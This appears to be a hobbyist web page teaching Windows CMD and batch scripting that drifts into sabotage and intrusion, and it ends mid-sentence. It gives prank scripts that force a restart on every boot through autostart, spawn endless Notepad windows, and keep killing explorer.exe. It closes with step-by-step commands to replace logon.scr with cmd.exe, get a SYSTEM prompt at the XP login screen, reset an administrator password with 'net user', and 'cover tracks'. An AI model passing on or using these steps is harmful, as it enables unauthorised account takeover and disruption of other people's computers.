CMD, the basics and a few scripts

CMD CMD is short for commander. It is great for a lot of things and it's also very clean.

----------------------------------------------------------------------------------------------Lets learn how to make the computer shut down everytime it's booted, shall we? -----------------------------------------------------------------------------------------------

First open CMD, Next open notepad. If you write "start shutdown -r" in CMD and press enter, your computer will restart. Also if you write the same in "run". (Change -r to -s to shutdown computer, or write -l to logg off.) If you write --------------------------------------@echo off cls start shutdown -r cls goto :a --------------------------------------in notepad and save it as something.bat (bat is important) and then open it, your computer will restart in the same way. So, lets get into autostart. Put that bat file in autostart (autostart can be found in start menu) and each time your computer is booted it will start that file and your computer will restart. If you write the next script your computer will try to shutdown several times at once. it will freak for about half a minute and then turn off.

Lets get a better understanding how scripts works. The above script shuts down your computer, but a bat file normaly opens

CMD and does whatever you told it to do.

@echo off - This is where you put commands that shouldn't be shown as text. For example cls. You don't want that to be text, it's a command. cls - This one is pretty good, it clears the text in the CMD screen CMD - This command gives you a new CMD session. start - this triggers stuff, in this case it's shutdown. color - changes the colour in the cmd window, I recommend writing "color 0a", which is a green color thats really cool on a black window. title - write "title something" to change title. goto :a - This one is really, really, really, really cool. It's used for making loops and some more advanced stuff that I wont go into. Lets say you write -------------------------------------@echo off :a cls start shutdown -r cls goto :a -------------------------------------The goto :a tells you to go to :a higher up in the script. so it starts the script again, then it does the goto :a command again and the script reloads. Basicaly a loop. You can change the "a" to whatever you want, for example "error". This is only to make it easier for you to read your script. The : infront of "a" must stay where it is. Bad example: goto: a Good example: goto :a --------------------------------------

dir - This shows you the files in the directory you are in. dir /s - This shows you all the files on your computer. echo - write "echo something" and it will be as a text in cmd. echo. This is a linebrake. cd - Write cd followed up with a location, to go there in cmd. For example "cd c:\windows". cd .. - This goes back one step in the directory. For example if your in c:\windows and write "cd .." you go back to c:\. So now you know the basics, which we'll use to make you computer do stuff. In cmd you can write "help" to get a list of most commands. Moving away from learning commands now.

----------------------------------------------------------------------------------------------Lets make a spamm script. -----------------------------------------------------------------------------------------------

----------------------------------------------@echo off cls :a start notepad.exe goto :a ----------------------------------------------this script will continue to open notepad until you close cmd. Not recommended to run this on a slow computer. As we said before, "start" triggers things, this script triggers notepad and then the loop (goto :a) is triggered.

----------------------------------------------------------------------------------------------Lets just mess around. -----------------------------------------------------------------------------------------------

----------------------------------------------@echo off cls :a taskkill /im explorer.exe /f goto :a ----------------------------------------------This will close the bar where start menu and tasks are shown, for example if you open internet you will see it at the bottom of the screen on the explorer bar. Closing this will leave people with little things to do.

windows tips collection how to hack windows xp admin password if you log into a limited account on your target machine and open up a dos promptthen enter this set of commands exactly: cd\ *drops to root cd\windows\system32 *directs to the system32 dir mkdir temphack *creates the folder temphack copy logon.scr temphack\logon.scr *backsup logon.scr copy cmd.exe temphack\cmd.exe *backsup cmd.exe del logon.scr *deletes original logon.scr rename cmd.exe logon.scr *renames cmd.exe to logon.scr exit *quits dos now what you have just done is told the computer to backup the command programand the screen saver file, then edits the settings so when the machine boots thescreen saver you will get an unprotected dos prompt with out logging into xp.once this happens if you enter this command minus the quotes "net user <admin account name here> password" if the administrator account is called frank and you want the password blah enter this "net user frank blah" and this changes the password on franks machine to blah and your in.have fun p.s: dont forget to copy the contents of temphack back into the system32 dir to cover tracks registry hacking display legal notice on startup :wanna tell your friends about the do's and dont's in your computer when they login in